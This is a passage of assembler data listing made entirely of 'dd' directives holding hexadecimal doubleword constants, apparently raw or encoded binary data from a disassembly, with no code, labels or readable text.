0A3BDF672h, 0D072695Ch, 0AA9F59h, 3E0EC40h, 0A71CFC39h dd 192B5E03h, 80FD7B6Bh, 0A379C427h, 23BFA0ACh, 0C87F4C9Fh dd 4EDB580Ch, 65015988h, 0A301B95h, 40708501h, 3CFE3F3Bh dd 1479CF14h, 0BE066500h, 7BD33F4Ch, 97B68000h, 0EAEFAAB0h dd 58365251h, 3F41C4E4h, 0C74C4358h, 52B0DD9Fh, 8D96E8h dd 8FDF411Ch, 99478C8Ah, 0C4003090h, 0CA4862F3h, 0F5181Eh dd 861B144h, 5A88104Fh, 16E1CF05h, 0CC403C74h, 9F824AC4h dd 0DB8C00B4h, 0CE95FBBh, 5C907A66h, 0BD9A101Fh, 0EA647464h dd 533A3Bh, 0AD722415h, 1C6C369Dh, 0CC9330E5h, 7380B880h dd 530D0B72h, 90319C58h, 1D05E643h, 9D1D27B8h, 0D997CCF2h dd 76249231h, 6C01924Ah, 5640969Bh, 2CF0AC4Ah, 0F800A293h dd 4AB90B7h, 2468E6BFh, 0E3943AD3h, 0D9CF7618h, 0D784D430h dd 0A8445A52h, 0CCB7544Bh, 0A4BE075Fh, 740E5573h, 4CBACh dd 0B36FE580h, 0B5C6B2h, 7D66DB3Fh, 0B9F8444h, 8764E912h dd 0C912E83Ah, 88DC3C86h, 712FD400h, 7D628692h, 0A693043Bh dd 0CA9723AAh, 35A80F58h, 8788A204h, 65A08002h, 854C54h dd 941533C0h, 47FD601Eh, 3DB8E30Eh, 4086A189h, 0F0C4BC7Fh dd 8D4A02CDh, 33B69B4Dh, 0AC5CA8C4h, 82900093h, 0F3991614h dd 0E4A014B9h, 0CA21D0DAh, 0DCDD2F80h, 43A550h, 0AF37D73Ch dd 59E1FB4Fh, 74A02C00h, 5C7BB4B0h, 0F3BC0052h, 0E8051206h dd 0FD0E4B2Dh, 5830AC5Bh, 0E4A27B30h, 613F24A3h, 42B8004Ah dd 0F68834A1h, 6F995E00h, 84F9FA87h, 40680091h, 48022F93h dd 32032975h, 0D1DABA17h, 0FF76B098h, 7EA7007Dh, 0A8C491FCh dd 0C00FDE3h, 0D1C684Dh, 8606EBh, 9C3F99C8h, 271EB5D6h dd 0B2002AF2h, 0F37C24A2h dd 3C94EA5h, 2328025Dh, 0CCC14C5Ah, 0D4E0DF01h, 0A500D61Bh dd 0A71D7A50h, 79CD28Ch, 0B2E469C1h, 3C5AF0B5h, 9700C3B6h dd 0DEEE52C2h, 1F6194h, 2412038Ah, 69BF6E7Bh, 0B64F1A0Ch dd 3C7074h, 2DF09647h, 809BD22Ch, 18119C00h, 6AFA406Eh dd 22270597h, 2CA8B8D6h, 0F12EED80h, 0BE146E2Ah, 60A9AC44h dd 205B7960h, 980A9250h, 0C47627FFh, 90D76CC2h, 76448990h dd 1CE2002Bh, 5F613DBAh, 0B4F03446h, 9711EC60h, 205BE1BCh dd 6C3C3C55h, 0FB8611BDh, 0C7CADF02h, 720A4E4h, 0C017C836h dd 892F0451h, 9800F375h, 20127C62h, 1688E32h, 231EF08h dd 71DFBF84h, 7C99E8E4h, 30B75624h, 808AFC0Eh, 0CF24A354h dd 313A5C2Fh, 4918B83Ch, 0C182D89Ch, 29EB6C0Ah, 46929CC9h dd 0C02C0C03h, 4AF00055h, 0D693E1ACh, 2814387Bh, 3C08257h dd 1A9F0C94h, 485047h, 0B6540172h, 3E01B4A3h, 86A88061h dd 30A5AC42h, 0FBC000ADh, 605E361Bh, 0D02A2C28h, 0BF1DE412h dd 19584A45h, 49DAF338h, 6F8090B1h, 0A5F2BE48h, 8C0D373h dd 9F08D23Ch, 0E18CA38Bh, 0DC500E44h, 24172090h, 4C0521h dd 50E3B59Ah, 733BE248h, 6FC71EDAh, 5E7FE4EAh, 6BA59800h dd 0D67842C6h, 9F340299h, 56B947A3h, 0CA598080h, 3700A29Ch dd 0CE570890h, 293ED6Ah, 51A1FE11h, 0A46062ADh, 0FC3858AAh dd 18017577h, 9BE6A23Eh, 988078E0h, 0FE56C735h, 0A9C7AEC4h dd 0F00CE409h, 0CEE63Ah, 99DC8E52h, 0BD5BF2B8h, 9EA46B0Fh dd 0F3E4C39Ah, 5B00049h, 2DF7A9DCh, 49CF79A2h, 0DA00BD47h dd 5BE4B3ABh, 291D0082h, 11F5424Fh, 0C7007974h, 9D472891h dd 7B5424h, 0E5C157F3h, 483A7C4Ah, 13FE2AEAh, 0AE421260h dd 123609EBh, 6FF610Ch, 80A9B40h, 0EEEF30Fh, 26C93Ah, 41CC31CBh dd 509A00C8h, 0F5BF1BE8h, 300C948h, 0D94C253Fh, 0A96B65D0h dd 70229580h, 40FEFC1Eh, 7028AF53h, 1A037E79h, 8B079E98h dd 4D14882Dh, 0D31F008Eh, 8575FC43h, 0D51E6CDEh, 4AC60552h dd 91F007h, 2E6B10DDh, 0BDE00441h, 6366DF00h, 6573F47Ah dd 0C074019Eh, 44FDDEF0h, 6E985085h, 92076FCEh, 48EC0A77h dd 0CDF66300h, 1FE800C2h, 7393C818h, 6BE255BFh, 2C3449h dd 770FE9B6h, 6AC649h, 0FEAC38D7h, 2102C7C2h, 87BABE00h dd 6D24A4D3h, 0FCF01A7h, 0A092DC88h, 90DC20BFh, 9D50A601h dd 16408EC0h, 14ADC187h, 0DE26E06Ah, 843F28F6h, 63CE0051h dd 0C1E9D911h, 31740E52h, 8BA15567h, 7010C982h, 1F005150h dd 68AA904Bh, 38B4BA74h, 0AB8056C6h, 89424665h, 0E31DFB9Fh dd 0E9CEC84Ch, 7F320090h, 102CBAAh, 0BC9C181Ah, 0C0C0B86Dh dd 0E900C1A4h, 50AE0E6Fh, 2C3D21DFh, 0E85CE51h, 1D2113B7h dd 0CCA6EB25h, 1E121B89h, 0F300C6E3h, 1677B5F6h, 517D1F1Dh dd 0E4A4C0D5h, 0A61A26C1h, 3AF55403h, 2CC832h, 0BEF72381h dd 8A2AB3F0h, 1D4F2000h, 64AFD54Ch, 94C900DAh, 5BE38C4Ah dd 86E82C08h, 5A639F00h, 803378C2h, 7B1D0051h, 2C097FDDh dd 500EED01h, 40B6F553h, 0D299AAE3h, 6C81009Eh, 739FF078h dd 0ACA0257Fh, 0C184ABEh, 0D1EA95B4h, 5032603Bh, 0C0628597h dd 0B9280B03h, 0C05996CFh, 0F13F5h, 54EC1F20h, 1DA3A684h dd 2B1C2D74h, 0D240AAB3h, 0FDBA9315h, 64F40014h, 0B6BC204Eh dd 81035B28h, 90F6C7B9h, 0DBB1B083h, 6CE50014h, 0D92B3049h dd 721CC209h, 82C7DCBBh, 0B2A0EBF8h, 0E5E221h, 99ACB9DBh dd 0DAECD4E9h, 0A880A600h, 0E3244C78h, 4FE3B61h, 0B1E0108Fh dd 0E0FA8447h, 0C679A31Bh, 5F00C0F8h, 0FCED33E5h, 0FB8AFFh dd 2FF0E8B2h, 0CBB17BEEh, 8C38F903h, 0F0DC63CFh, 441708Bh dd 64B514EDh, 0CC10C020h, 180086AEh, 0E006B4F2h, 0FAD9EC7h dd 0C3591F73h, 0CC0D5680h, 0D20028F3h, 1ADDE3C8h, 3B5342h dd 529132Ah, 0E026AD8Ah, 55E1EC00h, 62EDAF71h, 0EDE0BFDCh dd 0F90FF390h, 0E0A38341h, 1C25D0F6h, 9B8B003Dh, 64C46152h dd 4F014A50h, 0E7C8E097h, 37C49AFFh, 8FCE0084h, 4B5EDC1Ch dd 11F4FCC9h, 0D5B45F00h, 85F8EFFFh, 0D38101BDh, 54AA2E1Fh dd 0F977E153h, 0B188E4B6h, 56FD4000h, 5023038Dh, 6E4E0096h dd 0E93CB349h, 1A001BB0h, 4A3163FFh, 2038DAh, 0AB241EEAh dd 0D596D167h, 2203DF75h, 98DD2948h, 0DCA0F00Bh, 9CD30065h dd 80090EB4h, 0FA07F0E4h, 0B71D0F52h, 0D360803Eh, 0F4E17Bh dd 0F9F88F9Bh, 799A6103h, 0FBAA2003h, 8018D223h, 26749B1h dd 0EF768626h, 2440AD35h, 771DD4D6h, 0B640E31Fh, 207C3AB1h dd 389D7BE1h, 839E5AA0h, 0CDFC071h, 85C4F335h, 64AC9F03h dd 0F84BA461h, 181B0A66h, 4C673BE3h, 0D078773h, 1E59BAC3h dd 2486602Eh, 0A5DE8Fh, 0B719F196h, 0D2FAB5AAh, 0CF0E9000h dd 7D66EBDBh, 44C0070h, 3162718Ah, 0A9004834h, 14CF2C30h dd 1D7A8C65h, 0DE05174Eh, 0D1930077h, 0BEAF26C3h, 7BEC78E4h dd 24D2CB07h, 0E100B82Fh, 0B317EEh, 86131CA7h, 0C3333E88h dd 55545200h, 9A0DE398h, 9D260002h, 0F053B471h, 64003B1Bh dd 827F302Ah, 7580CA8Eh, 0ECF4262Bh, 0B9D30093h, 9CAE3C04h dd 18A92F1Dh, 0FE541FC0h, 1CB6B7E8h, 4B4E7B9Dh, 80DDD7C9h dd 615B3FFBh, 412B0023h, 54F60B09h, 3900AAD1h, 2527E6C0h dd 3504FCh, 0ADA60F79h, 0F6B4E887h, 0FA7F4000h, 0C99A39CCh dd 0BBA21D7Bh, 8476C070h, 77AB85FBh, 549ED000h, 729FE00Ah dd 17F1F90h, 0D6C20007h, 0F3C38BC5h, 627E3900h, 75DB729Ah dd 0ADCCA0FEh, 0D3B600E9h, 8DD8F6D0h, 3771574Dh, 5D89BC00h dd 1903FB0Dh, 79F876DCh, 3EF11DDAh, 0FE1ACE09h, 575A5120h dd 2CF8CAB1h, 71A68313h, 7B999907h, 0E019DA80h, 5B700065h dd 12B8B12Bh, 3F009F71h, 0A409928Dh, 2879B0h, 46A508F0h dd 55384B18h, 184EAA5Ch, 48E6232h, 688C016Fh, 3B07C0D5h dd 0A4E0D340h, 5B0015B3h, 12EC83A7h, 30951F18h, 1010AB29h dd 1401A8BFh, 0F9D46381h, 76D8642Ch, 983FEC55h, 9229C05Dh dd 0F540DF43h, 0A490C600h, 23055E36h, 0AC500A5h, 2434B07Ah dd 0AE008345h, 0F5888E26h, 1D1EFF31h, 0A8CF8Bh, 8AE4B174h dd 38007682h, 2147C0CAh, 320837h, 885CB7E9h, 0B38B092Eh dd 92F4F500h, 3D2C768Fh, 4122125Bh, 3C9E001Fh, 444CD2FBh dd 0C9DF3600h, 0F9AC6652h, 0A2130406h, 80BF5822h, 0D111FDF3h dd 0EE01AE00h, 766B7020h, 5E50050h, 15679C17h, 42002A3Dh dd 0A76864F6h, 0E8AEF9AAh, 83330019h, 230DA52Dh, 1B0177A2h dd 684F35B2h, 81E82F56h, 826D01A7h, 0CBED27E4h, 3CA6E003h dd 36525A00h, 2F7E350Eh, 6E2A3B58h, 0ABFB6284h, 1D45C187h dd 0C7BE604Eh, 721BCB05h, 0E480DB7Eh, 19A0493h, 6F2F4389h dd 0C06C2E5Bh, 0D9038CB3h, 9626300Ah, 0DE6D90FCh, 0B8CD078Dh dd 377DC6h, 17296E80h, 0B56F9207h, 0F2D0AC60h, 0E2F4C0DEh dd 0A6EF00BDh, 5289D610h, 0D8076D91h, 0CA7E4DC3h, 3A9AC620h dd 17A67ABBh, 36E645h, 7D5EDEF7h, 577412D5h, 56ABCCFBh dd 24A41E58h, 8D073C94h, 0FD306AACh, 0CF556Eh, 0DAB6327h dd 8938F3C2h, 0D5496400h, 0AE658775h, 0B9271CA1h, 1454408Fh dd 0BADBFBAh, 52B0A707h, 0B3606475h, 0B8029E6Ch, 0B2E600E2h dd 13C16BAAh, 4CE00C30h, 20F8D40Fh, 878844B5h, 846F48C0h dd 8D71008Ch, 0D00E1966h, 0B700AFC4h, 1B5D9572h, 3EAB076h dd 0E13816EDh dd 18007389h, 81FFAA79h, 0F0F0C2F6h, 0DC550FC0h, 22A360ECh dd 87B06C9Ah, 59269DBEh, 4F00FC2Eh, 0E1582BFFh, 3D537A78h dd 0A9005092h, 5A091B7Ch, 0DB38DEAEh, 37B00F4h, 310185E0h dd 0AAA303BAh, 0A5B34B35h, 7E605ECAh, 0E2000CF9h, 63DFFAC2h dd 0F0A2D981h, 0D5C00D5h, 1C6D0920h, 502F1EDh, 68F687FDh dd 88F087EBh, 1F7EFF50h, 973B0010h, 64A6A56Bh, 0E51D28C7h dd 86DC7116h, 0D7803FC0h, 58D25DA3h, 523E2C20h, 781C1980h dd 0DAD4E20Eh, 5CB98B03h, 0D5B1DCh, 0ED8418F0h, 0C26E7F7Ch dd 0FC1E5000h, 10C857E1h, 0EC77007Ah, 206882D6h, 6F1F6491h dd 26405C80h, 0D0AC7EA6h, 9F871634h, 0E16F0088h, 0C70BA319h dd 27020900h, 0B052C6C2h, 79AE425h, 168CD190h, 39F3142h dd 47EBC8BAh, 0EA6D0403h, 0F81BDF41h, 26B7DDCh, 0A4CC16Eh dd 3A4118BCh, 70A1FCF6h, 95B29900h, 0D8379D7Ah, 0C48503F7h dd 8EF46F06h, 0FA1D1001h, 162D1A4Eh, 0F8D2F8h, 70631065h dd 516BB335h, 0A581DB00h, 0D024E51Ch, 69ED0089h, 2145DF67h dd 3200B9A2h, 0EA62F1E8h, 154B0Fh, 0C23AE1FEh, 45AEC533h dd 0C48D470Fh, 0EC0A404Ah, 35C0FB6h, 1A5056EBh, 35A0A87Bh dd 0EF0022F0h, 136C9B8Ch, 0ED8EB5h, 739ADB06h, 895716FFh dd 5C2843Ah, 0B82E2C12h, 45591003h, 9F391D8Dh, 14B28090h dd 22630C01h, 0F6A24400h, 7A68137h, 3FC73C5Eh, 8B142800h dd 71AC2319h, 0A9DA1300h, 0FCDB6FC6h, 0C8781C06h, 0F2240BCh dd 9C5E5236h, 71F44F07h, 0E35F43D4h, 0E77B34B6h, 0BDED08D0h dd 0F6A40EE3h, 35C198F4h, 0F4AA1C83h, 84004B4Fh, 5F4DDD38h dd 0F641DF9h, 0B491F656h, 1C5B413Fh, 0C880AE9Eh, 9B004B37h dd 0D4138A05h, 7FA276h, 4E8B61C5h, 5D18E502h, 81DBCA3Dh dd 0DFC3B066h, 0D360426Ch, 62200F7h, 18B504A8h, 0D9075235h dd 0EC55678Dh, 0A7D44D50h, 6245001Ah, 4B0DC5A0h, 0C91F8AB4h dd 63DCDFDAh, 0CAEF5FC2h, 80CFE297h, 0A393E770h, 2BE31F2Ch dd 982480FFh, 0B45BA65Dh, 401E0EE4h, 0D100F236h, 6AAB3DF0h dd 5D22006Dh, 0AFBFF930h, 1BF4B1A1h, 673F8700h, 0C5CDDBB0h dd 4E480027h, 2264E7B3h, 0B27A0E15h, 0C0004079h, 34A219BFh dd 28E6D6FBh, 2EE8779Ah, 255678h, 0DFAE0281h, 0CD0701DAh dd 0B4E97E8Bh, 0BDBB5330h, 37DD00B6h, 7F8605D5h, 1A00A9EAh dd 1C2ECC97h, 61349ADAh, 832D9F0h, 2814209Eh, 1CC54101h dd 0AE71071Ah, 2DF870E5h, 4864005Ah, 0D4856F89h, 38DFC45Dh dd 0DB40E2DCh, 1175283Fh, 0AE9500B6h, 1E19C8B9h, 7F00AA9Dh dd 0E20B5506h, 0CFDC299h, 0A78E2DDAh, 0CF0091C9h, 293D14A1h dd 3F98E4B3h, 1580BD54h, 4B83E05Eh, 383912EEh, 0DADE1673h dd 33A20701h, 0AEC4D5A8h, 0E829009Dh, 11D20E68h, 50004D25h dd 1C53ED16h, 3E955A87h, 6B004EF6h, 477721ABh, 60001F08h dd 0FEE7FF27h, 507D9Ah, 9B8E28CAh, 1B59B4DCh, 741AAA00h dd 60BB275Ah, 99EF0062h, 0A78431F9h, 900A093h, 71588E3Eh dd 76186AAh, 5CCBB535h, 5051A0E5h, 0CF00D588h, 4AA0A511h dd 8EE615h, 0EA456CC6h, 4C47432Ah, 6BC37B1Eh, 6200BB57h dd 0AB647CACh, 69EF3A3Eh, 0FCECB600h, 0A42E3576h, 899EBD00h dd 0F80A1BEEh, 0B6F2E7h, 8742CFF9h, 0CA524B1Ch, 80A5993Ah dd 9D15D07Eh, 0E291332Eh, 791830B8h, 0A904F950h, 84035F00h dd 7316AEB2h, 957289h, 0E2337C26h, 46F2576h, 0C8B82401h dd 0D6E5F7A4h, 3D68C9A4h, 50BA5581h, 0C0B436F6h, 0A1009343h dd 3DE5EFBCh, 0A25A340h, 8E052A2Fh, 5F630608h, 8D00806Eh dd 37F41117h, 7486572Dh, 0FC7A0107h, 0CF41927Ch, 472BFCF8h dd 4DB9CC05h, 88008BC8h, 553F02B6h, 0FC50008Ah, 3D31515Ah dd 0A3037D0Ah, 0C1E1401Bh, 21280049h, 2527CD11h, 0EE01A92Ch dd 0E8013C91h, 48308358h, 0C1510194h, 11AF3785h, 0E0F5D88Ah dd 0FBFDEE00h, 7F8EFA35h, 280A4CBAh, 9BF85A00h, 0D06E3856h dd 0F0577D00h, 0BFB4347Bh, 6D700945h, 9002E84h, 9CF13D39h dd 620022E4h, 548540B2h, 3D2AEB38h, 0F48E92C4h, 29E03EAEh dd 815FF044h, 7B19D800h, 0CDBFA18Eh, 0D96A07C6h, 0B2304EA7h dd 0D6E1E3F0h, 714330B6h, 9F378400h, 74D7957Ch, 0EA411E35h dd 62250710h, 8CC32081h, 260038ADh, 0BE86E713h, 538837h dd 0CD472E12h, 740DF4A8h, 5B626C00h, 0CF4BF3FCh, 607F7D0Eh dd 0B355C86Fh, 0A20091F8h, 0FB27DB5Ah, 0F62975h, 4FC534B8h dd 96997755h, 0E0C188C0h, 659B1F2h, 0FA6BF933h, 0E317A1A9h dd 0AD00A128h, 15FB82B5h, 0EA680078h, 0B126A7ABh, 6207107Ch dd 0E5766461h, 4F6085F7h, 6E0BEDh, 1FE11C49h, 82D86B79h dd 6415E200h, 0DD5AA7B2h, 1917A46h, 0A323D3F9h, 0C837FBBEh dd 0B3009F25h, 0E1AF5FB4h, 0FAC615h, 70C79247h, 852C76B7h dd 1D002378h, 2BE4E1DAh, 9B63CF8h, 9CD8F427h, 7C5A805Dh dd 1AE0FE5Bh, 78265441h, 0DC215980h, 3F00450Ah, 0F96957D7h dd 0FE4FDCDh, 4A27B55Fh, 21AE11E0h, 37772D53h, 0CAD3AF1Ch dd 0BE04D1C0h, 1475E5h, 2CD101Bh, 53031525h, 1F9C8701h dd 5D2DBBDEh, 845020B9h, 0A73B0B25h, 0C88738E0h, 0A6D2F0B6h dd 69E628B0h, 2A95D903h, 68A2271h, 55DB4620h, 35008850h dd 156333F4h, 49591Eh, 8FBA7071h, 8B3A1F2Ah, 3042FAC0h dd 1D9B0F48h, 8376B655h, 32CDE98Eh, 7909A0CFh, 22002CD7h dd 0BE800790h, 4EDB60h, 3C2F2B54h, 7F1CD065h, 82045AF3h dd 88D20835h, 0F8D50420h, 6326212Fh, 740D0204h, 7AD81828h dd 0DEE00Eh, 0EF06ED01h, 0A914386Ch, 58A2B700h, 8AFCB8D0h dd 95E50028h, 462DBF36h, 0A400594Eh, 18CD625Eh, 0F19B8C2h dd 8B585364h, 0D898ACA1h, 49D9F0D3h, 81A51B00h, 0FE8A3E6h dd 8120A5C0h, 2AECFA04h, 0C1F91084h, 0D4A7013Ah, 912351F5h dd 7F8DFCA9h, 0BC0ED8EAh, 12C887h, 975380B7h, 98CC0010h dd 66EE994h, 6600827Fh, 2B5D0231h, 0E2C19741h, 7F0D9h dd 0F36B8E24h, 0E9955FFAh, 870D0B02h, 0E00904DCh, 7CD890DEh dd 0B0755B65h, 940071AAh, 0FB5146C5h, 1804EAC0h, 30E9667Ah dd 6B031272h, 0CB79DF77h, 7D807C96h, 0D98E0336h, 39E6F33Ch dd 66EE81B8h, 9300B571h, 0C04640D6h, 0D283631h, 0C15299C5h dd 5F74C858h, 60909703h, 88ECE8FAh, 0F35CC4Fh, 0DE8A59E7h dd 0D82E9CBCh, 5E996893h, 0FC3F6800h, 857BDA91h, 0F0F40062h dd 0D872D274h, 0B779B5C2h, 0D7D17A00h, 0A6B96029h, 9C810323h dd 0CFCDF3Eh, 94C026FBh, 26985D82h, 0EAF057F4h, 0A832100h dd 0ACB0B808h, 861200CEh, 0EB3A0D51h, 0CF00E2FEh, 0F2E17DE9h dd 5DD66Fh, 94AEEFACh, 0A32BDAA2h, 8E00D7E0h, 5B4FCD8Bh dd 866699h, 3E82CEA7h, 98D3BAFAh, 8830AA60h, 0BC2B0DAh dd 0E8EDDBD7h, 0C3D5A605h, 0A090077Eh, 2500D8B9h, 0CC7F4261h dd 0F291776h, 0A2F65C39h, 0D088D9E0h, 0FD07D24Ch, 7D89694Fh dd 9A576DF0h, 0B45C0FC1h, 0C7A0C9DEh, 0D368EB41h, 348F4700h dd 42560FE9h, 5E250089h, 0AF2AC201h, 0C53F7837h, 6A6289C0h dd 0D27B000Eh, 7E138Dh, 0ACB922DEh, 883052DBh, 0A18A88C3h dd 0E357B8E5h, 592E0095h, 68B1F0C8h, 9F0777E1h, 4EEF6CF7h dd 459D1090h, 81BA1E4Fh, 1789C0A8h, 417DF873h, 728DD03h dd 0B0E1B3A9h, 0ECB29A3Bh, 1D701Eh, 0F67B3768h, 12913B7h dd 9D6B8B1Eh, 5D4D0480h dd 5EE2DD0h, 22D37D06h, 1B66C073h, 987D58F1h, 0DB063474h dd 8619A239h, 0C04271B0h, 3CC6F2E2h, 32725E44h, 8018D93Fh dd 8DBD7B34h, 0BB050Dh, 50D0482Fh, 5666DE6Fh, 0CE7CF20Ch dd 759B86Bh, 0CD220C57h, 533E40D2h, 1C79E334h, 0F006A7Fh dd 73F26729h, 5C9CFCDh, 86F83245h, 537C0092h, 8C5D07FCh dd 4200E17Eh, 47C3E9Eh, 0ED1F01h, 0F4DEF8C1h, 9BB6C0CBh dd 0D480BD90h, 8700A6B7h, 4C1F6B16h, 0D7A4AEh, 0B1E2E3AFh dd 54F613C3h, 0C8335501h, 3690BF6Bh, 0FC001823h, 245982Ah dd 0B000B3F1h, 503108EEh, 0FEF218h, 0F0E5F3D2h, 0C529FDF5h dd 73346600h, 15566D17h, 7EEE0021h, 2BDFE5C2h, 0A303CBE6h dd 0A6FEBA42h, 0F8B6CB53h, 0E46112F7h, 298E010Fh, 50AE19Ch dd 0DCF0FF30h, 0C618DEE0h, 0FC586FA3h, 0BCB83D18h, 0A32007Ch dd 7447600Fh, 0EF00F1DCh, 0C0565788h, 0E4BA8CF4h, 0D22F00E7h dd 7B0AC9ABh, 90002D37h, 438D13B6h, 57E1C7h, 383A5A02h dd 29885181h, 0B6418F00h, 9517DA8Ch, 5CE6EEB5h, 400042E3h dd 0AE32F175h, 4A03D2CFh, 0C83C7421h, 959BE072h, 443E00F9h dd 52CA93A9h, 0A1001335h, 7340D09Dh, 8FE9A7h, 1A1F0607h dd 0F81B664h, 87A5C201h, 0A1AE753Eh, 8421ECh, 68721338h dd 57E31545h, 0A8BCA930h, 3AF942h, 828C2612h, 0F1444CD4h dd 0E73BDB00h, 0AD7D5CEEh, 0ACE86Dh, 290EA6C4h, 0C606EAD9h dd 3A473503h, 99343BB7h, 4DE09450h, 0DD3F1942h, 0E46481ACh dd 23007B1Fh, 6D46D1C5h, 7A5817h, 295C0C56h, 21357CE5h dd 421CD900h, 7FDCED87h, 41980007h, 0F491C827h, 0BAE0253Eh dd 0E93156FCh, 9EFE5886h, 0B5909C47h, 0E8FD76h, 621B8EE6h dd 5ECD9BEh, 0BD7C6854h, 7354936Eh, 2BB12E00h, 2AC7CAFEh dd 0C032F4h, 0A017D025h, 72146496h, 0CE3D8700h, 22AA5674h dd 4E291566h, 0BE0C98CAh, 0B13944CDh, 609A0E0Ah, 9300E8B6h dd 4F0CD1EEh, 0C52A02C6h, 6AA2B49h, 509EB887h, 9F3E61F5h dd 0A0623300h, 0E61BB717h, 82CA005Ah, 0E9FFED1Ah, 0BD00A241h dd 34B20A80h, 31F332Ch, 25461BBAh, 9C80F58Bh, 690EC84Dh dd 0A3541006h, 8F01AE4Fh, 0BE701EC1h, 5386D8h, 47F9C030h dd 0AC4D6FDCh, 7F1F5200h, 232CCD2h, 9A2B0069h, 0F2D4F374h dd 88007C44h, 9B2072E1h, 3558CD7h, 0CAC808D3h, 39DB0AA1h dd 1A4D2AF8h, 0EB0D8300h, 0CC50423Fh, 0B3C00794h, 4046A5DAh dd 0EAE466F2h, 0E61A6B00h, 7F5C049Bh, 6EE00340h, 56D265CAh dd 0F44D7801h, 7BC9D60h, 0F0C29360h, 0A8D07E7h, 0B0E445F7h dd 0E19DB061h, 0D7FB8903h, 0B8F1CAA2h, 30A3ED4Bh, 0F8604EF2h dd 670035C3h, 84B12057h, 5AACD98h, 720BF712h, 1A94003Ch dd 77B886C4h, 0E1B018C0h, 0B98473Eh, 1C175A0Ah, 0DE80807Dh dd 59BE57Eh, 6A1E674Dh, 0FBCC07BBh, 12CB60ADh, 9F01A305h dd 1D61E9DFh, 80A6522Dh, 9B2830C3h, 2C00819Ch, 0A235075Ah dd 3246FDDh, 0AD0BFBE2h, 46A4A7E0h, 874D4h, 0F3ACA54Dh dd 0C42C4EF0h, 68891D00h, 914C7793h, 0A07A95h, 0F9D78D6Eh dd 0D94DBF2Ch, 816FE43Eh, 81EE4BD0h, 0E180E248h, 0EBFF89B9h dd 0EF0060D1h, 67B22B23h, 0BBD3644h, 9BE46349h, 0DE507500h dd 0A203F847h, 0FC74142Ch, 0C0D8D085h, 243C01F6h, 0E04A42E6h dd 3840DA03h, 0E9C0A44Dh, 0D97E4F83h, 0CC8D149Ch, 6780E84Ch dd 71E9E820h, 0AA4698A0h, 0F9C27306h, 38534Eh, 0F0ED36C0h dd 501B7B06h, 9227DC00h, 0F8C565A1h, 3DECA0ADh, 8D9F0C8h dd 504620DEh, 0F9031E1Fh, 0A06FCCA3h, 86B02Dh, 0E4C24D6Eh dd 4F3B8ED3h, 37E0B700h, 0EDEEE76h, 0BC671E22h, 0F7712F0h dd 1F5E02C1h, 6280FA9Dh, 0E3C3F423h, 5E3C1009h, 5FA38029h dd 0C6FA7428h, 9573A2h, 99DD0239h, 2578E363h, 121FDA01h dd 0F1163122h, 0D9905880h, 79F5FA5Bh, 4F2AFE00h, 230E8865h dd 0CCC8047Dh, 80464120h, 7891E788h, 0BD00E1FAh, 76620CE8h dd 0FFFEABC4h, 85311883h, 0D00C4332h, 606309CFh, 597D01BFh dd 0EEB75E94h, 8868F8C1h, 87009B79h, 4E16CE04h, 7D9A0956h dd 242F0EE6h, 372646C8h, 0DD3D70EAh, 87FEB903h, 0DBD38E1Bh dd 0FAC258F0h, 0F986E560h, 9003B3FBh, 45DC7D00h, 0DEB61CA0h dd 0EF6A0F9Fh, 59C9F3A7h, 20E56487h, 0A1D6A037h, 0F879B100h dd 2C5CDC5Dh, 0FCB4002Dh, 57A48D7Bh, 0FA981A3Dh, 9E9B4000h dd 8A151E6Ah, 693033ECh, 79B00B30h, 91F0BE7Bh, 0AA71E600h dd 0CA556EDFh, 0F22F004Bh, 0BE5D6BADh, 3801F9D3h, 0B08EE0EBh dd 0B68FC74Eh, 9A269581h, 1A005026h, 0E819F33Fh, 391BDDA3h dd 42012E82h, 8343D449h, 6156166h, 350070B3h, 6CB7A8EDh dd 1D0DCF5h, 0E48D9AA2h, 0FCBD1F0Eh, 83F093Eh, 555B0F67h dd 290B402Dh, 0F464381Ah, 70F77FFCh, 0EED579B4h, 0DD2B0024h dd 2ED15F12h, 0D218868Ah, 0C0087F45h, 28C100A8h, 77FE7CC8h dd 0B61E5602h, 8200416Dh, 43142F72h, 0F6613DF3h, 4090CA1Ch dd 8BDC4E2Eh, 0DA7D6386h, 0D8D2A103h, 0D86E42DEh, 0AC5320h dd 68C1E1Ch, 4B1315D5h, 9C0CB371h, 7872EE39h, 0CB7247h dd 0B99D76Fh, 0B413C7DAh, 35DE220Ch, 389879h, 5ED91B06h dd 0BA02FF37h, 6BFBBD07h, 0DE80937Ah, 30CB878Bh, 45805F70h dd 38C07B2Dh, 0D0C8573Bh, 5B9D0061h, 8747F0B2h, 6400B345h dd 59E3C43Ch, 9A035Ah, 7F8674DDh, 6F9DF071h, 0BEB7B507h dd 0EF09CBAh, 72B3A0h, 0E7B82A78h, 2AF3855h, 31CFA698h dd 9B5C8458h, 74D61FC0h, 96F4006Eh, 0E4384F1Fh, 0E008067h dd 99FE9EDFh, 0C173BBF5h, 0B45E4A38h, 59C0F346h, 0BF2D1DC2h dd 300ED0FDh, 7118812Ch, 0EF039649h, 0C4AECC5h, 5D21B094h dd 7A187A95h, 0E16E0048h, 6A9103A4h, 204CFB50h, 0EA850090h dd 9F82B0AFh, 71720C83h, 9D797477h, 78C2BE22h, 0B0DE0094h dd 0D50253BFh, 57EAEF7Eh, 0D7000DF8h, 0F72D78D0h, 1251840h dd 64CFF976h, 485A1782h, 1922B19Ch, 3A83186Fh, 1E204A1Bh dd 6B35EC00h, 684BF955h, 0EE870056h, 0AA2925FCh, 7F0026DBh dd 7B9406F4h, 18609FB2h, 99BDF6F1h, 0EB3C2B4Ch, 1B238025h dd 11B3E8E3h, 7D2D0054h, 39DBA251h, 0B0C7BB55h, 0E8C0139Dh dd 0C0BA95F7h, 33058041h, 4F03B570h, 5847C8B0h, 0CF41B8C1h dd 0B1D56B19h, 0A4BA900h, 0E3EE7715h, 13184805h, 5443DB33h dd 1EAE1D39h, 2A16B069h, 86540FA8h, 0EC95B1F8h, 0C19DF740h dd 0B3CF7D28h, 3019C953h, 5509D2C2h, 667EBC8h, 41502Bh dd 1F1BAEC0h, 0FFAB7BF0h, 0B0C3B100h, 0F1BA5101h, 12CA747Dh dd 27CEB3B2h, 0FD48A318h, 0D0EA9080h, 0D84AA60Ah, 0B0CF497h dd 31B0F8DDh, 19619D75h, 2D918170h, 2E70F94h, 8186E8h dd 37AEE2B0h, 69909899h, 510085F6h, 0CB16ED8Ch, 73FFDAh dd 36371F3Ch, 0A752F183h, 190E6AE8h, 9F675D81h, 0C5D98700h dd 372A14h, 5AB9734Eh, 0DBF6545h, 6CDA940Ch, 3832868h dd 